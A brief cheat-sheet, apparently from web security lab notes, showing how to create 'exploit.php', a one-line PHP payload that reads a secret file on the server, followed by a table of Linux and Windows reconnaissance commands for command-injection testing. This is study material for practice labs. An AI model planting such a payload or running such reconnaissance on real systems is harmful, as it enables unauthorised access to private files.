Command Basics
create a php file in the command line
touch exploit.phpnano<?php echo file_get_contents('/home/carlos/secret'); ?>Control + X (To save and exit)
cat exploit.phpPurpose of command
Linux
Windows
Name of current user
whoami
whoami
Operating system
uname -a
ver
Network configuration
ifconfig
ipconfig /all
Network connections
netstat -an
netstat -an
Running processes
ps -ef
tasklist
Last updated